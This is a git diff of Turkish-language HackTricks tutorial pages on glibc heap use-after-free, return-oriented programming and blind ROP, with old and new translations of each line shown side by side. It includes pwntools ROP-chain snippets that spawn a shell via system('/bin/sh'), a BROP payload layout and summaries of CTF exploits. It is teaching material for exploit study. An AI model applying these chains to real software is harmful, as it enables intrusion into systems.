GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **İlk Uygun**
Glibc kullanarak bir programda belleği serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İşte iki yaygın senaryonun basitleştirilmiş bir açıklaması: sıralanmamış kutular ve hızlı kutular.
Bir programda glibc kullanarak belleği serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İki yaygın senaryonun basitleştirilmiş bir açıklaması şunlardır: sıralanmamış kutular ve hızlı kutular.
### Sıralanmamış Kutular
Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu parça sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların önüne (başa) eklendiği bir liste gibi davranır. Yeni bir bellek parçası istediğinizde, tahsisatçı, isteğiniz için yeterince büyük bir parça bulmak için sıralanmamış kutuya arkadan (kuyruk) bakar. Eğer sıralanmamış kutudan bir parça ihtiyacınızdan büyükse, bölünür; ön kısmı geri döndürülür ve geri kalan kısım kutuda kalır.
Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu parça sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların önüne (başa) eklenen bir liste gibi davranır. Yeni bir bellek parçası istediğinizde, tahsisatçı, istediğinizden yeterince büyük bir parça bulmak için sıralanmamış kutuya arkadan (kuyruk) bakar. Eğer sıralanmamış kutudan bir parça istediğinizden büyükse, bölünür; ön kısmı geri döndürülür ve geri kalan kısım kutuda kalır.
Örnek:
* 300 bayt (`a`) tahsis edersiniz, ardından 250 bayt (`b`) tahsis edersiniz, `a`'yı serbest bırakırsınız ve tekrar 250 bayt (`c`) istersiniz.
* `a`'yı serbest bıraktığınızda, sıralanmamış kutuya gider.
* Sonra tekrar 250 bayt isterseniz, tahsisatçı `a`'yı kuyrukta bulur ve bölerek, isteğinize uygun olan kısmı geri döndürür ve geri kalanı kutuda tutar.
* `c`, önceki `a`'ya işaret edecek ve `a`'ların içeriğiyle dolacaktır.
* 300 bayt (`a`) tahsis edersiniz, ardından 250 bayt (`b`) tahsis edersiniz, `a`yı serbest bırakırsınız ve tekrar 250 bayt (`c`) istersiniz.
* `a`yı serbest bıraktığınızda, sıralanmamış kutuya gider.
* Sonra 250 bayt daha isterseniz, tahsisatçı `a`yı kuyrukta bulur ve bölerek, isteğinize uygun olan kısmı geri döndürür ve geri kalanı kutuda tutar.
* `c`, önceki `a`ya işaret edecek ve `a`'ların içeriğiyle dolacaktır.
```c
char *a = malloc(300);
char *b = malloc(250);
@ -36,11 +37,11 @@ char *c = malloc(250);
```
### Fastbins
Fastbins küçük bellek parçaları için kullanılır. Sıralanmamış kovaların aksine, fastbins yeni parçaları başa ekler ve son giren-ilk çıkan (LIFO) davranışını oluşturur. Eğer küçük bir bellek parçası isterseniz, ayırıcı fastbin'in başından alacaktır.
Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kovaların aksine, fastbins yeni parçaları başa ekler ve son giren-ilk çıkan (LIFO) davranışı oluşturur. Eğer küçük bir bellek parçası isterseniz, ayırıcı fastbin'in başından alacaktır.
Örnek:
* 20 baytlık dört parça (`a`, `b`, `c`, `d`) ayırırsınız.
* 20 baytlık dört parça ayırırsınız (`a`, `b`, `c`, `d`).
* Onları herhangi bir sırayla serbest bıraktığınızda, serbest bırakılan parçalar fastbin'in başına eklenir.
* Sonra 20 baytlık bir parça isterseniz, ayırıcı en son serbest bırakılan parçayı fastbin'in başından döndürecektir.
```c
@ -61,12 +62,12 @@ d = malloc(20); // a
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Use after free: Bir kullanıcı nesnesi oluştur, serbest bırak, serbest bırakılan parçayı alan bir nesne oluştur ve ona yazma izni ver, **öncekinin konumunu kullanıcı->şifre ile değiştir**. Kullanıcıyı tekrar kullanarak **şifre kontrolünü atla**
* ARM64. Use after free: Bir kullanıcı nesnesi oluştur, serbest bırak, serbest bırakılan parçayı alan bir nesne oluştur ve ona yazma izni ver, **öncekinin konumunu kullanıcı->şifre ile değiştir**. Kullanıcıyı **şifre kontrolünü atlamak** için yeniden kullan.
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
* Program notlar oluşturmaya izin verir. Bir not, malloc(8) içinde not bilgisine (çağrılabilecek bir işlev işaretçisi ile) ve notun içeriğine sahip başka bir malloc(\<boyut>) işaretçisine sahip olacaktır.
* Program notlar oluşturmaya izin verir. Bir not, not bilgisini içeren malloc(8) (çağrılabilen bir işlevin işaretçisi ile) ve notun içeriğini içeren başka bir malloc(\<boyut>) işaretçisine sahip olacak.
* Saldırı, not bilgi boyutundan daha büyük malloc içeriğine sahip 2 not (not0 ve not1) oluşturmak ve ardından bunları serbest bırakarak hızlı bin (veya tcache) içine almaktır.
* Sonra, içerik boyutu 8 olan başka bir not (not2) oluşturun. İçerik, not1'de olacak çünkü parça yeniden kullanılacak, işlev işaretçisini win işlevine işaret etmesi için değiştirebileceğimiz yer ve ardından not1'i Use-After-Free yaparak yeni işlev işaretçisini çağırmak.
* Sonra, içerik boyutu 8 olan başka bir not (not2) oluşturun. İçerik, parçanın yeniden kullanılacağı not1'de olacak, işlev işaretçisini win işlevine yönlendirebilir ve ardından not1'i Use-After-Free yaparak yeni işlev işaretçisini çağırabiliriz.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
* Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden boyutlandırmak mümkündür ve önceki veriler hala orada olduğundan, parçadaki yeni beklenen yapıya göre işlem görecektir, böylece değeri ayarlamak veya bayrağı almak mümkün olacaktır.
* Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden boyutlandırmak mümkündür ve önceki veriler hala orada olduğundan, parçadaki yeni beklenen yapıya göre işlenecektir, böylece değeri ayarlamak veya bayrağı almak mümkün olacaktır.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
* Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu ilk ayrılan parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni ayrılan parçada, dizin içindeki numarası saklanır. Sonra, 4 parça (+ başlangıçta ayrılan) tahsis edin, sonuncusu içinde 4 olacak şekilde, onları serbest bırakın ve ilk parçanın yeniden tahsisini zorlayın, bu da içinde 4 olan son serbest bırakılan parçayı kullanacaktır.
* Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu ilk ayrılan parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni ayrılan parçada, dizin içindeki numarası saklanır. Sonra, 4 parça (+ başlangıçta ayrılan) tahsis edin, sonuncusu içinde 4 olacak, onları serbest bırakın ve ilk parçanın yeniden tahsisini zorlayın, bu da içinde 4 olan son parçayı kullanacaktır.

View file

@ -1,56 +1,40 @@
# ROP - Return Oriented Programing
# **Temel Bilgiler**
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## **Temel Bilgiler**
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, binary veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani **"gadget"**'ları kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sömürü tekniğidir. Bir saldırgan, kabuk kodu enjekte etmek ve yürütmek yerine, genellikle ikili dosyada veya yüklenmiş kütüphanelerde bulunan, **"gadget"** olarak bilinen kod parçalarını kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri kaydırmak veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
### ROP Nasıl Çalışır
1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tampon taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak.
2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve zincirler. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir.
3. **Yük Yürütme**: Zayıf işlev geri döndüğünde, meşru bir konuma dönüş yerine, gadget zincirini yürütmeye başlar.
1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tam buffer taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak.
2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve birbirine bağlar. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir.
3. **Yük Yürütme**: Kırılgan işlev döndüğünde, meşru bir konuma dönmemek yerine, gadget zincirini yürütmeye başlar.
### Araçlar
Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir.
Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), ve [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir.
## ROP Zinciri x86 Örneği
## x 32-bit Örneğinde ROP Zinciri
### **x86 (32-bit) Çağrı sözleşmeleri**
### **x86 (32-bit) Çağrı Kuralları**
* **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları ters sırayla (sağdan sola) yığına itilir. **Argümanlar sağdan sola doğru yığına itilir.**
* **stdcall**: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alanın sorumluluğundadır.
* **stdcall**: Cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı yapan işlevin sorumluluğundadır.
### **Gadget'lar Bulma**
Öncelikle, binary veya yüklenmiş kütüphanelerde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
İlk olarak, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
* `pop eax; ret`: Bu gadget, yığının en üst değerini `EAX` kaydedicisine iter ve ardından döner, böylece `EAX` üzerinde kontrol sağlar.
* `pop ebx; ret`: Yukarıdakiyle benzer, ancak `EBX` kaydedicisi için, `EBX` üzerinde kontrol sağlar.
* `mov [ebx], eax; ret`: `EAX` içindeki değeri, `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle bir **write-what-where gadget** olarak adlandırılır.
* `mov [ebx], eax; ret`: `EAX` içindeki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle bir **write-what-where gadget** olarak adlandırılır.
* Ayrıca, `system()` işlevinin adresine sahibiz.
### **ROP Zinciri**
**pwntools** kullanarak, ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlıyoruz, `system('/bin/sh')`'yi yürütmeyi amaçlayarak, zincirin aşağıdaki gibi başladığına dikkat edin:
**pwntools** kullanarak, ROP zinciri yürütmesi için yığına hazırlık yaparız ve aşağıdaki gibi devam ederiz, `system('/bin/sh')`'yi yürütmeyi amaçlayarak, zincirin aşağıdaki ile başladığına dikkat edin:
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
2. `system` işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
3. `system()`'dan dönüş adresi için yer tutucu
3. `system()`'dan dönen adres için yer tutucu
4. `"/bin/sh"` dizesi adresi (system işlevi için parametre)
```python
from pwn import *
@ -95,16 +79,16 @@ p.interactive()
#### **Gadget'ları Bulma**
Amacımız, **RDI** registerını ayarlamamıza ( **system()`a **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
Amacımız, **RDI** registerını ayarlamamıza ( **system()** fonksiyonuna **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'lara odaklanmak. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
* **pop rdi; ret**: Yığının en üst değerini **RDI**'ya çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel önemlidir.
* **pop rdi; ret**: Yığının en üst değerini **RDI**'ya çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel öneme sahiptir.
* **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için kullanışlıdır.
Ve **system()** fonksiyonunun adresini biliyoruz.
### **ROP Zinciri**
Aşağıda, **x64** üzerinde **system('/bin/sh')**'ı çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır:
Aşağıda, **x64** üzerinde **system('/bin/sh')**'ı çalıştırmayı amaçlayan bir ROP zinciri oluşturup çalıştırmak için **pwntools** kullanarak bir örnek bulunmaktadır:
```python
from pwn import *
@ -139,20 +123,14 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Bu örnekte:
- **`pop rdi; ret`** cihazını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz.
- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, **system()**'ün adresi zincirde.
- **Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu daha yaygın olarak **x64**'te fonksiyonları çağırmadan önce uygun yığın hizalamasını sağlamak için gereklidir.
### Yığın Hizalaması
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın uygun şekilde hizalanmazsa (yani **RSP** 16'nın katı değilse), **ROP zincirinde** **system** gibi fonksiyonlara çağrılar başarısız olur. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret cihazı** ekleyin.
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Eğer yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi fonksiyonlara yapılan çağrılar bir **ROP zincirinde** başarısız olacaktır. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin.
## x86'ya karşı x64 ana farkı
## x86'ya karşı x64 ana fark
{% hint style="success" %}
**x64, ilk birkaç argüman için kayıtları kullandığından,** basit fonksiyon çağrıları için genellikle x86'dan daha az cihaz gerektirir, ancak doğru cihazları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. Artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, sömürü geliştirme için hem fırsatlar hem de zorluklar sunar.
**x64, ilk birkaç argüman için kayıtları kullandığından**, basit fonksiyon çağrıları için genellikle x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisinde artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar.
{% endhint %}
## ARM64 Örneğinde ROP Zinciri
@ -167,21 +145,21 @@ Bu bilgiler için aşağıdaki sayfaya bakın:
## ROP'a Karşı Korumalar
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP'un kullanımını zorlaştırır.
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/): BOF durumunda, ROP zincirini kötüye kullanmak için geri dönüş işaretçilerini üzerine yazmak için yığın kanaryasını atlamak gereklidir.
* **Yetersiz Cihazlar**: Yeterli cihaz yoksa ROP zinciri oluşturulamaz.
* **Gadget Eksikliği**: Yeterli sayıda gadget yoksa ROP zinciri oluşturulamaz.
## ROP tabanlı teknikler
ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir:
* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey).
ROP'un sadece keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir:
* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP'u kullanın (genellikle `system('/bin/sh')` gibi bir şey).
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: ROP'u bir sistem çağrısını hazırlamak için kullanın, örneğin `execve`, ve bunu keyfi komutları yürütmek için kullanın.
* **Ret2Syscall**: Bir sistem çağrısına, örneğin `execve`, hazırlamak için ROP'u kullanın ve keyfi komutları yürütün.
{% content-ref url="rop-syscall-execv/" %}
[rop-syscall-execv](rop-syscall-execv/)
@ -197,6 +175,6 @@ ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. RO
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* 64 bit, Pie ve nx etkin, kanarya yok, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak, yığında işlevin bayrağı sızdıran kısmını elde etmek için bir sonraki adrese dönüş yapılacak kısmıırı yazma
* 64 bit, Pie ve nx etkin, kanarya yok, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak, sızdıran bayrağı elde etmek için işlevin bir kısmını almak için yığında bir sonraki adrese dönüş yapacak bir kısmi üzerine yazma
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, ASLR yok, ROP cihazı yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için
* arm64, ASLR yok, ROP gadget'ı yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için

View file

@ -1,81 +1,82 @@
# BROP - Körüklü Dönüş Yönlü Programlama
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'u bir tampon taşması aracılığıyla kötüye kullanabilmektir**.\
Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'yi bir tampon taşması aracılığıyla kötüye kullanabilmektir**.\
Bu saldırı aşağıdaki senaryoya dayanmaktadır:
* Bir yığın güvenlik açığı ve nasıl tetikleneceği hakkında bilgi.
* Bir çökme sonrasında yeniden başlatan bir sunucu uygulaması.
* Bir çökme sonrası yeniden başlatan bir sunucu uygulaması.
## Saldırı
### **1. Hassas ofseti bulma** sunucunun bir arıza tespit edilene kadar bir karakter daha gönderilmesi
### **2. Canary'yi zorla** sızdırmak için
### **2. Canary'yi kaba kuvvetle çözme** sızdırmak için&#x20;
### **3. Depolanmış RBP ve RIP'yi zorla** sızdırmak için yığında adresleri zorla
### **3. Depolanmış RBP ve RIP'yi kaba kuvvetle çözme** adreslerini yığında sızdırmak için
Bu süreçler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz.
Bu işlemler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz.
### **4. Durak cihazını bulma**
Bu cihaz temelde, ROP cihazı tarafından bir şeyin yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmüyor. Genellikle, bu cihaz **yürütmenin durmasına izin verir** ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılır.
Bu cihaz temelde, ROP cihazı tarafından bir şeyin ilginç bir şekilde yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmemiştir. Genellikle, bu cihaz **yürütümü durduran bir şey** olacak ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılacaktır.
### **5. BROP cihazını bulma**
Bu teknik [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, eğer bu cihaza birkaç talimatın ortasında erişirseniz, **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz:
Bu teknik, [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, eğer bu cihaza bir talimatların ortasında erişirseniz, **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Bu cihazlar şunlar olacaktır:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek mümkün** olduğuna dikkat edin.
Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek** mümkündür.
Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndermek:
Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndermek mümkündür:
`'A' * ofset + canary + rbp + ADDR + 0xdead * 6 + STOP`
`'A' * ofset + canary + rbp + ADRES + 0xdead * 6 + DURAK`
